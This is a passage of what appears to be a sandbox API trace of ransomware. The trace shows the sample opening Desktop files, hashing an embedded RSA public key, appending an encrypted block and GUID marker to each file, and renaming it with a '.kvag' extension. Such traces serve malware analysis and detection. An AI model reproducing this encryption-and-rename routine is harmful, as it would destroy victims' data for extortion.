RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.113] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.114] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.114] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.114] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.114] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.114] CloseHandle (hObject=0x61c) returned 1 [0119.115] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\s9_5sxP4UTReq1w-S0Dp.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s9_5sxp4utreq1w-s0dp.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\s9_5sxP4UTReq1w-S0Dp.jpg.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s9_5sxp4utreq1w-s0dp.jpg.kvag")) returned 1 [0119.116] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46480d0, ftCreationTime.dwHighDateTime=0x1d4cecd, ftLastAccessTime.dwLowDateTime=0xe5f547c0, ftLastAccessTime.dwHighDateTime=0x1d4d589, ftLastWriteTime.dwLowDateTime=0xe5f547c0, ftLastWriteTime.dwHighDateTime=0x1d4d589, nFileSizeHigh=0x0, nFileSizeLow=0xe034, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TQA_umDM14EkRmKehkUw.pdf", cAlternateFileName="TQA_UM~1.PDF")) returned 1 [0119.116] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TQA_umDM14EkRmKehkUw.pdf") returned=".pdf" [0119.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TQA_umDM14EkRmKehkUw.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tqa_umdm14ekrmkehkuw.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.116] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=57396) returned 1 [0119.116] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.118] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe00e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.118] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.120] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xe034, lpOverlapped=0x0) returned 1 [0119.120] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.120] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.120] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.120] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.121] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.121] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.121] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.121] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.121] GetLastError () returned 0x0 [0119.121] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.121] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.122] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.122] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.122] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.122] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.122] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.122] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.123] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.123] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.123] CloseHandle (hObject=0x61c) returned 1 [0119.124] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TQA_umDM14EkRmKehkUw.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tqa_umdm14ekrmkehkuw.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TQA_umDM14EkRmKehkUw.pdf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tqa_umdm14ekrmkehkuw.pdf.kvag")) returned 1 [0119.128] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x496ca210, ftCreationTime.dwHighDateTime=0x1d4d4f1, ftLastAccessTime.dwLowDateTime=0x3b351030, ftLastAccessTime.dwHighDateTime=0x1d4d481, ftLastWriteTime.dwLowDateTime=0x3b351030, ftLastWriteTime.dwHighDateTime=0x1d4d481, nFileSizeHigh=0x0, nFileSizeLow=0x13120, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t_hQ4n.mp3", cAlternateFileName="")) returned 1 [0119.128] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t_hQ4n.mp3") returned=".mp3" [0119.128] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t_hQ4n.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t_hq4n.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.128] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=78112) returned 1 [0119.128] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.130] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x130fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.130] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.132] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x13120, lpOverlapped=0x0) returned 1 [0119.132] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.133] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.133] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.133] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.133] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.133] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.134] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.134] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.134] GetLastError () returned 0x0 [0119.134] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.134] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.134] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.134] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.134] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.134] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.135] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13120, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.135] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.135] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.135] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.135] CloseHandle (hObject=0x61c) returned 1 [0119.136] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t_hQ4n.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t_hq4n.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t_hQ4n.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t_hq4n.mp3.kvag")) returned 1 [0119.137] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2d81330, ftCreationTime.dwHighDateTime=0x1d4cda2, ftLastAccessTime.dwLowDateTime=0x147cdd00, ftLastAccessTime.dwHighDateTime=0x1d4d559, ftLastWriteTime.dwLowDateTime=0x147cdd00, ftLastWriteTime.dwHighDateTime=0x1d4d559, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Uiap nVn-UUVgXikA_Du.avi", cAlternateFileName="UIAPNV~1.AVI")) returned 1 [0119.138] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Uiap nVn-UUVgXikA_Du.avi") returned=".avi" [0119.138] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Uiap nVn-UUVgXikA_Du.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uiap nvn-uuvgxika_du.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.138] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=53312) returned 1 [0119.138] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.140] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd01a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.140] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.140] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xd040, lpOverlapped=0x0) returned 1 [0119.141] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.141] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.141] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.141] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.142] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.142] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.142] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.142] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.142] GetLastError () returned 0x0 [0119.142] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.142] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.142] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.142] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.142] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.142] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.143] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd040, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.143] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.143] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.143] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.143] CloseHandle (hObject=0x61c) returned 1 [0119.144] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Uiap nVn-UUVgXikA_Du.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uiap nvn-uuvgxika_du.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Uiap nVn-UUVgXikA_Du.avi.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uiap nvn-uuvgxika_du.avi.kvag")) returned 1 [0119.145] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3239a0, ftCreationTime.dwHighDateTime=0x1d4c6e1, ftLastAccessTime.dwLowDateTime=0x3a0ca1f0, ftLastAccessTime.dwHighDateTime=0x1d4d422, ftLastWriteTime.dwLowDateTime=0x3a0ca1f0, ftLastWriteTime.dwHighDateTime=0x1d4d422, nFileSizeHigh=0x0, nFileSizeLow=0xa27e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="un2NZ0.ots", cAlternateFileName="")) returned 1 [0119.145] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\un2NZ0.ots") returned=".ots" [0119.145] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\un2NZ0.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\un2nz0.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.145] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=41598) returned 1 [0119.145] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.147] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa258, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.147] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.149] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xa27e, lpOverlapped=0x0) returned 1 [0119.149] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.149] lstrlenA 